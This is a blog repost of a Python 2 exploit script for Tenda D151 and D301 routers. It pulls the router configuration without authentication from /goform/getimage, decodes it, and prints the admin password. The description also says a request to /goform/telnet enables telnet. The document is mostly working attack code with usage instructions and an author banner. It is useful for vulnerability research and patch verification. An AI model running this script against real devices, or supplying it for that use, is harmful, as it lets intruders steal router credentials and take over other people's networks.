Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86396077

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Tenda D151 & D301 - Configuration Download (Unauthenticated)
# Date: 19-04-2021
# Exploit Author: BenChaliah
# Author link: https://github.com/BenChaliah
# Vendor Homepage: https://www.tendacn.com
# Software Link: https://www.tendacn.com/us/download/detail-3331.html
# Versions:    
#   - D301 1.2.11.2_EN
#   - D301 V2.0 50.22.1.8_EN
#   - D151 V2.0 50.21.1.5_EN


# --- Description --- #

# This exploits allows for the download of the current router config including the admin login, just by requesting {IP}/goform/getimage,
# you can also activate telnet service by requesting /goform/telnet. Telnet activation issue exists in many other tenda devices too.

# --- Proof of concept --- #


import struct
import itertools
import random, sys
import requests
import base64



FETCH_CODE = "\x80\x0f\x07\xe7\x83i\xb0@v2\x9c\x8ef\x93y\xb8z"
ADMIN_LOG_CFG = {'AdminPassword': 'admin', 'SupportPassword': 'support'}

CLEAR_CODE = 256
END_OF_CODE = CLEAR_CODE + 1

MIN_WIDTH = 8
DEFAULT_MIN_BITS = MIN_WIDTH + 1
DEFAULT_MAX_BITS = 12




def cmsDecoder(compressed_cfg):
    _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256))
    _cp_dict[CLEAR_CODE] = CLEAR_CODE
    _cp_dict[END_OF_CODE] = END_OF_CODE
    prefix, offset, ignore = None, 0, 0
    codepoints_arr, remainder, bits = [], [], []

    init_csize = len(_cp_dict)

    codesize = init_csize
    minwidth = MIN_WIDTH
    while (1 << minwidth) < codesize:
        minwidth = minwidth + 1
    pointwidth = minwidth

    buts_arr = []
    for b in compressed_cfg:
        value = struct.unpack("B", b)[0]
        for bitplusone in range(8, 0, -1):
            bitindex = bitplusone - 1
            buts_arr.append(1 & (value >> bitindex))

    for nextbit in buts_arr:
        offset = (offset + 1) % 8
        if ignore > 0:
            ignore = ignore - 1
            continue
        bits.append(nextbit)
        if len(bits) == pointwidth:
            cp_int = 0
            lsb_first = [b for b in bits]
            lsb_first.reverse()
            for bit_index in range(len(lsb_first)):
                if lsb_first[bit_index]:
                    cp_int = cp_int | (1 << bit_index)

            bits = []
            codepoints_arr.append(cp_int)
            codesize = codesize + 1
            if cp_int in [CLEAR_CODE, END_OF_CODE]:
                codesize = init_csize
                pointwidth = minwidth
            else:
                while codesize >= (2 ** pointwidth):
                    pointwidth = pointwidth + 1
            if cp_int == END_OF_CODE:
                ignore = (8 - offset) % 8


    decodedBytes = []
    for cp_int in codepoints_arr:

        suffix = ""
        if cp_int == CLEAR_CODE:
            _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256))
            _cp_dict[CLEAR_CODE] = CLEAR_CODE
            _cp_dict[END_OF_CODE] = END_OF_CODE
            prefix = None

        elif cp_int != END_OF_CODE:
            if cp_int in _cp_dict:
                suffix = _cp_dict[cp_int]
                if None != prefix:
                    _cp_dict[len(_cp_dict)] = prefix + suffix[0]
            else:
                suffix = prefix + prefix[0]
                _cp_dict[len(_cp_dict)] = suffix
            prefix = suffix
        decoded = suffix
        for char in decoded:
            decodedBytes.append(char)
    return decodedBytes






def exploit(ip):
    print "[!] Downloading config"
    try:
        r = requests.get("http://{}/goform/getimage".format(ip))
        pass
    except:
        print "[-] Failed to download the config, the target may not be vulnerable"

    BIN_CONTENT = r.content
    BIN_CONTENT = BIN_CONTENT[BIN_CONTENT.index(FETCH_CODE):][:16*50]

    CONFIG_XML = b"".join(cmsDecoder(BIN_CONTENT))

    USER_, PASS_ = "", ""
    for i in ADMIN_LOG_CFG.keys():
        if i in CONFIG_XML:
            CONFIG_XML = CONFIG_XML[CONFIG_XML.index(i) + len(i) + 1:]
            PASS_ = CONFIG_XML[:CONFIG_XML.index('</')]
            USER_ = ADMIN_LOG_CFG[i]
            print "\tusername: {}\n\tpassword: {}\n".format(USER_, base64.b64decode(PASS_).rstrip('\x00'))
            return 0
    print "[-] Failed to decode the config file\n"
    return -1



if len(sys.argv) == 1:
    print "usage: python2 " + sys.argv[0] + " router_ip"
    print "example: python2 exploit.py http://192.168.1.1"
    exit()



if __name__ == "__main__":

    print """\
        _  _
  ___ (~ )( ~)
 /   \_\ \/ /   
|   D_ ]\ \/  -- By BenCh@li@h
|   D _]/\ \  -- BenChaliah@github
 \___/ / /\ \\
      (_ )( _)
          
"""

    try:
        exploit(sys.argv[1])
    except Exception as e:
        print str(e)